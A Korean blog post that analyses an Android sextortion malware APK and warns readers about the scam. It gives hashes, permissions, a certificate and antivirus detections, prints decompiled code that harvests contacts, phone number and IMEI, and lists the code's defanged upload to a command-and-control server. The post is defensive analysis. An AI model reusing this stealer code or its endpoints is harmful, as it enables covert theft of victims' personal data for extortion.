꿈을꾸는 파랑새

오늘은 몸캠 악성코드인 동영상 악성코드에 대해 글을 적어 보겠습니다.
몸캠이라는 것은 영어로는 sextortion로 부르고 있으며 피해자로부터 성적 호기심 등을 이용해서 몰래 녹화, 녹음을 통해서 금전 및 가상화폐 등을 요구하는 범죄입니다. 보통 몸캠 하자고 유혹하여 해킹 어플을 설치하게 하거나 해킹 링크로의 접속을 유도하고 상대방에게 노출 사진을 찍게 하게 하고 이것을 스마트폰에 저장된 연락처에 퍼뜨리겠다는 협박을 통해 돈을 뜯어내는 사기 방법입니다.
스마트폰 일단 랜덤채팅앱을 설치돼 있으며 갑자기 모르는 여자로부터 묻지도 따지지도 않고 스카이프, 라인, 카카오톡 등 영상통화가 가능하고 PC와 스마트폰 간에 연동할 수 있는 앱으로 대화를 이어나가자고 하면 몸캠 피싱일 가능성이 거의 99.9%에 가깝고 기본적인 레퍼토리는 영상통화 서비스를 이용해서 서로 자위하는 모습을 보여주자고 그러거나 그냥 만나자고 해놓고 만나기 전에 영상 통화하고 만나자고 하는 방법을 사용하고 있으며 영상통화를 하면 노출하는 여자의 모습이 나오며 무조건 영상통화에 얼굴도 나와 달라고 요구를 하며 물론 상대 쪽은 전부 다 편집한 영상이고 영상통화를 하다가 영상의 행동이 반복되는 것처럼 느껴질 수 있고 이런저런 목적으로 이제 apk 파일을 보내고 해당 APK 파일을 설치를 실행하면 악성 앱 이 실행을 하게 되고
악성 앱 이 실행이 되면 연락처, GPS, 전화 권한을 획득해서 악성 앱에 삽입이 돼 있는 C&C 서버에 전송하게 돼 있습니다.

몸캠 악성코드 실행
몸캠 악성코드 실행

예를 들어서 연락처에 접근할 필요가 없는 앱에서 연락처 권한을 요구하면 의심해 보아야 합니다. 그냥 APK 앱을 보낼 수도 있고 zip 파일에 숨겨서 보내는 악성코드 제작자 있습니다.

[소프트웨어 팁/보안 및 분석] - 몸캠 피싱 악성코드-동영상(2021.06.20)

 

몸캠 피싱 악성코드-동영상(2021.06.20)

오늘은 안드로이드 몸캠 피싱 안드로이드 악성코드인 동영상에 대해 글을 적어 보겠습니다. 몸캠 피싱이라는 것에 대해 알아보고 시작을 하겠습니다. 몸캠 피싱은 일단 남녀노소 누구나 당할

wezard4u.tistory.com

해당 어플을 설치를 하면 개인정보를 C&C에 전송되는 방식으로 스마트폰에 있는 개인정보를 취득합니다. 해당 악성코드 안드로이드 권한은 다음과 같은 권한으로 구성돼 있습니다.
일단 해당 몸캠 악성코드의 권한은 다음과 같습니다.

몸캠 동영상 안드로이드 권한
몸캠 동영상 안드로이드 권한

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
일단 간단하게 네트워크 상태, 와이파이 상태, 인터넷 접속, 핸드폰 번호(스마트폰 번호), 기기 고유 id 등 단말기 정보 가져오기, 연락처 읽기로 구성이 돼 있습니다.

연락처 읽기 및 연락처 저장
연락처 읽기 및 연락처 저장

그리고 해당 악성코드 해쉬값은 다음과 같습니다.
파일명: 동영상.apk
사이즈: 1,329,273 Bytes
CRC32:5841127d
MD5:09d01541c67e9557bbe00243eebc4a97
SHA-1:77ea66d0f797e74366a074426119e8ef2e90e125
SHA-256:0bda73046fd733164877071d11318ec6dd56a6ea4e773c70ed5a3c8f7a244478
SHA-512:1df772b3b5944aba1060fcb213bfc9aae68d9b78b6c35038c4ee592220e8f1e56c87ccf4f57c9285ce772fdf04d932ce22834deb3dbee8e0d296d264188f1a5c
일단 앞서 적은 악성코드처럼 해당 악성코드는 아시아 국가들을 표적으로 하는 몸캠 피싱입니다.
앱 이름: 동영상
패키지 이름:org.nnnmbook.sytyd
그리고 해당 몸캠 악성코드를 실행하면 다음과 같이 서비스점겅중입니다. 라는 메시지를 볼 수가 있는데 한국어가 이상한 것을 볼 수가 있습니다.
org.commpanyaap.stu.C1153g 에서는 다음과 같이 연락처를 읽고 저장을 할 수가 있는 코드가 있는 것을 볼 수가 있습니다.
public class C1153g {
    /* renamed from: a */
    public static ArrayList<TongXunLu> m4936a(Context context) {
        ArrayList<TongXunLu> arrayList = new ArrayList<>();
        Cursor query = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        while (query.moveToNext()) {
            TongXunLu tongXunLu = new TongXunLu();
            String string = query.getString(query.getColumnIndex("_id"));
            tongXunLu.setName(query.getString(query.getColumnIndex("display_name")));
            ContentResolver contentResolver = context.getContentResolver();
            Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
            Cursor query2 = contentResolver.query(uri, null, "contact_id=" + string, null, null);
            while (query2.moveToNext()) {
                tongXunLu.setPhone(query2.getString(query2.getColumnIndex("data1")).replace("-", "").replace(" ", ""));
            }
            arrayList.add(tongXunLu);
            query2.close();
        }
        query.close();
        return arrayList;
    }
}

수집된 연락처는 JSON 파일에 저장되고 org.commpanyaap.stu.C1152f 보면 다음같이 서버에 개인정보를 업로드 합니다.

연락처 서버 업로드
연락처 서버 업로드

 /* renamed from: b */
    public String mo4735b() {
        return "hxxp://206.119(.)173.23:8080/m/uploadContact.htm";
    }
}

몸캠 악성코드 가 사용 하는 주소
몸캠 악성코드 가 사용 하는 주소

하면 SMS(문자), 스마트폰에 있는 연락처를 업로드 하려고 해당 악성코드에서는 다음과 같은 주소가 포함돼 있습니다.
hxxp://206.119.173(.)23:8080/m/uploadSms.htm
hxxp://206.119(.)173.23:8080/m/sychonizeUser.htm
hxxp://206.119.173(.)23:8080/m/openVip.htm
hxxp://206.119.173(.)23:8080/m/login.htm
hxxp://206.119.173(.)23:8080/m/uploadContact.htm
hxxp://206.119.173(.)23:8080/m/uploadAlbum.htm

그리고 악의적인 목적을 가진 사람이 해당 사이트에 업로드 된 개인정보를 보려고 다음과 같이 아이디와 비밀번호가 삽입된 것을 볼 수가 있습니다.

악성코드에 포함 이 된 아이디 비밀번호
악성코드에 포함 이 된 아이디 비밀번호

패키지 위치:org.commpanyaap.stu.C1150d
/* renamed from: a */
    public static String m4928a(Context context) {
        StringBuffer stringBuffer = new StringBuffer();
        try {
            HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("hxxp://206.119.173(.)23:8080/m/login.htm").openConnection();
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setConnectTimeout(3000);
            httpURLConnection.setDoOutput(true);
            httpURLConnection.getOutputStream().write("username=??????&password=???????".getBytes());
            httpURLConnection.setInstanceFollowRedirects(false);
            httpURLConnection.connect();
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), "UTF-8"));
            while (true) {
                String readLine = bufferedReader.readLine();
                if (readLine == null) {
                    break;
                }
                stringBuffer.append(readLine);
                stringBuffer.append("\r\n");
            }
            bufferedReader.close();
            List<String> list = httpURLConnection.getHeaderFields().get("Set-Cookie");
            String str = null;
            if (list == null || list.size() <= 0) {
                return null;
            }
            String str2 = "";
            for (String str3 : list) {
                if (str3.contains("JSESSIONID")) {
                    str = str3;
                }
                str2 = str2.isEmpty() ? str3 : str2 + ";" + str3;
            }
            Log.i("cookie", str2);
            return str;
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
    }

그리고 다음에 스마트폰 사용자 저장된 민감한 정보를 가져오려고 공격자가 사용하는 C2 로그인 페이지와 사용자의 장치 데이터를 동기화합니다. 

악성코드 스마트폰 과 동기화
악성코드 스마트폰 과 동기화

패키지 이름: org.commpanyaap.stu.C1151e
* renamed from: org.commpanyaap.stu.e */
public class C1151e extends AbstractC1142a {
    /* access modifiers changed from: protected */
    @Override // org.commpanyaap.stu.AbstractC1142a
    /* renamed from: b */
    public String mo4666b() {
        return "hxxp://206.119(.)173.23:8080/m/sychonizeUser.htm";
    }

    /* renamed from: c */
    public boolean mo4676c() {
        Result result;
        User user;
        HashMap hashMap = new HashMap();
        String b = C1147e.m4922b(this.f3429a);
        try {
            hashMap.put("phone", this.f3432d);
            hashMap.put("imei", b + "#" + C1147e.m4919a());
            hashMap.put("model", C1147e.m4919a());
            result = (Result) this.f3431c.mo4740a(mo4666b(), hashMap, Result.class);
        } catch (Exception e) {
            e.printStackTrace();
            result = null;
        }
        if (result == null || !result.isSuccess() || (user = result.getUser()) == null) {
            return false;
        }
        C1145c.m4913a(this.f3429a, user);
        if (!TextUtils.isEmpty(b)) {
            return true;
        }
        C1145c.m4915b(this.f3429a, user.getNewImei());
        return true;
    }
}

스마트폰 전화 번호 조회
스마트폰 전화 번호 조회

그리고 감염된 스마트폰 전화번호 조회를 위해서 다음과 같은 코드가 있습니다.
패키지 이름: org.commpanyaap.stu.p049a.C1147e
 /* renamed from: a */
    public static final String m4920a(Context context) {
        String line1Number = ((TelephonyManager) context.getSystemService("phone")).getLine1Number();
        if (TextUtils.isEmpty(line1Number)) {
            line1Number = C1145c.m4916c(context);
        }
        return m4921a(line1Number);
    }
그리고 스마트폰 IMEI 값 조회를 위해 다음과 같은 코드가 있습니다.

IMEI 조회
IMEI 조회


package org.commpanyaap.stu.p049a;

import android.content.Context;
import android.os.Build;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import java.util.regex.Pattern;

/* renamed from: org.commpanyaap.stu.a.e */
public class C1147e {
    /* renamed from: a */
    public static final String m4919a() {
        return Build.MODEL + "," + Build.VERSION.RELEASE + "," + Build.VERSION.SDK;
    }

    /* renamed from: a */
    public static final String m4920a(Context context) {
        String line1Number = ((TelephonyManager) context.getSystemService("phone")).getLine1Number();
        if (TextUtils.isEmpty(line1Number)) {
            line1Number = C1145c.m4916c(context);
        }
        return m4921a(line1Number);
    }

    /* renamed from: a */
    public static final String m4921a(String str) {
        return !TextUtils.isEmpty(str) ? Pattern.compile("[^\\d]").matcher(str).replaceAll("").trim() : str;
    }

    /* renamed from: b */
    public static final String m4922b(Context context) {
        String deviceId = ((TelephonyManager) context.getSystemService("phone")).getDeviceId();
        return TextUtils.isEmpty(deviceId) ? C1145c.m4917d(context) : deviceId;
    }
}

악성코드 인증서 정보

이 있는 것을 볼 수가 있습니다. 악성코드 인증서 정보는 다음과 같습니다.
Signer CERT.RSA (META-INF/CERT.SF)
Type: X.509
Version: 3
Serial number: 0x5919acf3
Subject: CN=111111, OU=111111, O=111111, L=111111, ST=111111, C=KR
Valid from: Sun Aug 29 17:27:24 KST 2021
Valid until: Thu Aug 23 17:27:24 KST 2046
Public key type: RSA
Exponent: 65537
Modulus size (bits): 2048
Modulus: 22975758744226302022477995703542014880424651342389791124250840457297941446838220150331304066411140302089321004093269647942906238320451936695452720943206868605468600683535904598199937043931904184794644643276272823055454224678564173002926381720268329277105833879360753652241544423721450140790515209724702205316736372600982377841257454503955405240592347194082326567588746569825758967327113047387789903039161968792237191380286366776935789181313929702377812982063001584441162837099267314339225927768457767603817171301004040665460220741845551969383783679095888967319168795184350776963206898439089559341855395404460232634871
Signature type: SHA256withRSA
Signature OID: 1.2.840.113549.1.1.11

현재 바이러스토탈(2021.09.16) 기준 탐지하는 백신 프로그램들은 다음과 같습니다.
AhnLab-V3:Trojan/Android.SMSstealer.993516
Alibaba:TrojanSpy:Android/Vmvol.f9ed360e
Antiy-AVL:Trojan/Generic.ASMalwAD.44F
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/Spy.Vmvol.KD.Gen
BitDefenderFalx:Android.Trojan.InfoStealer.WX
CAT-QuickHeal:Android.Vmvol.GEN40573
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.723.origin
ESET-NOD32:A Variant Of Android/Spy.Vmvol.I
Fortinet:Android/Vmvol.I!tr
Ikarus:Trojan-Spy.AndroidOS.Vmvol
K7GW:Trojan ( 0057f5c91 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Agen.vu
Kingsoft:Android.Troj.tn_vmvol.i.(kcloud)
Lionic:Trojan.AndroidOS.Agen.C!c
MAX:Malware (ai Score=99)
McAfee:Artemis!09D01541C67E
McAfee-GW-Edition:Artemis
Microsoft:TrojanSpy:AndroidOS/Vmvol.A!MTB
Sophos:Andr/Spy-BFB
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:A.privacy.InfoStealer
Trustlook;droid.Malware.Spyware
기본적인 예방 방법은 다음과 같습니다.
안드로이드 스마트폰에서는 기본적으로 외부 앱을 설치를 하면 경고 메시지가 팝업이 나오고 너~설치 및 실행을 하면 우리 책임 없음이라는 경고는 무시하지 말 것
환경설정->보안->디바이스관리->알 수 없는 출처(소스) 에 체크 해제(스마트폰 제품에 따라 메뉴 다름)
특히 출처 불명의 실행파일(apk)을 스마트폰에 내려받고 이를 스마트폰에 설치하는 것은 위험한 행동입니다.
여기서 출처 불명 이는 것은 공식 앱 스토어(구글 플레이 스토어, 원 스토어, 삼성 갤럭시 스토어 등)가 아닌 문자, 모바일 채팅 등을 통해 URL에 접속해서 다운로드 하는 경우 특히 
랜덤 채팅 뭐~파일 내려받기 설치하라고 하면 100% 악성코드라고 생각을 하시면 됩니다. 특히 낯선 미모의 여성과 대화할 때 언제든지 이러한 범죄의 표적이 될 수 있음을 주의해야 합니다. 그리고 AV-TEST에서 인증하는 공신력 있는 백신 앱을 사용하는 것을 추천합니다. 오늘은 간단하게 몸캠 피싱(sextortion)에 대해 간단하게 알아보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band